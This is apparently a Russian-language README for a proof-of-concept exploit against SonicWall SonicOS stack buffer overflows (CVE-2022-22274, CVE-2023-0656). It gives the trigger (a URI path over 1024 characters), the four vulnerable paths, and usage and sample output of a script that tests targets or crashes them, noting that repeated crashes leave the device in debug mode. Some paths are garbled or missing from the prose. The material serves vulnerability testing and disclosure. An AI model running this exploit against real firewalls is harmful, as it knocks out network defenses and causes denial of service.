
Эксплойт Proof-of-Concept для переполнения буфера на основе стека в SonicWall SonicOS (CVE-2022-22274, CVE-2023-0656), который тестирует и вызывает сбои с помощью специально созданных HTTP-запросов.

24 марта 2022 года SonicWall опубликовала уведомление со следующими деталями:
Уязвимость переполнения буфера в стеке в SonicOS через HTTP-запрос позволяет удаленному неаутентифицированному злоумышленнику вызвать отказ в обслуживании (DoS) или потенциально выполнить код в брандмауэре.
ПРИМЕЧАНИЕ: Эта уязвимость затрагивает ТОЛЬКО интерфейс «веб-управления», интерфейс SonicOS SSLVPN не затронут.
2 марта 2023 года SonicWall опубликовала еще одно, аналогичное, уведомление:
Уязвимость переполнения буфера в стеке в SonicOS позволяет удаленному неаутентифицированному злоумышленнику вызвать отказ в обслуживании (DoS), что может привести к сбою затронутого брандмауэра.
ПРИМЕЧАНИЕ: Эта уязвимость затрагивает ТОЛЬКО интерфейс «веб-управления», интерфейс SonicOS SSLVPN не затронут.
Обе проблемы связаны с одним и тем же шаблоном уязвимого кода и используют одинаковую полезную нагрузку эксплойта, но срабатывают на разных URI-путях.
Переполнение буфера запускается через HTTP-запрос с URI-путем длиннее 1024 символов. CVE-2022-22274 можно эксплуатировать по пути /resources/ или по пути Advanced Threat Protection (/atp/ если включен, или если отключен). CVE-2023-0656 можно эксплуатировать по пути или .
///stats//Security_ServicesЭтот репозиторий содержит скрипт proof-of-concept для проверки цели на уязвимость по всем четырем URI-путям. По умолчанию он выполняет безопасный тест, но также может эксплуатировать ошибки и вызвать сбой цели.
ПРИМЕЧАНИЕ: В конфигурации по умолчанию 3 последовательных сбоя за короткий промежуток времени приведут к перезагрузке устройства SonicOS в режиме отладки, и оно будет недоступно до тех пор, пока администратор не вернет его в рабочее состояние. Используйте ответственно!
Установите Python 3 и выполните python -m pip install -y argparse.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Тест уязвимой цели:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Эксплуатация уязвимой цели:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Тест и эксплуатация исправленной цели:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Этот проект лицензирован в соответствии с лицензией GNU GPL 3.0.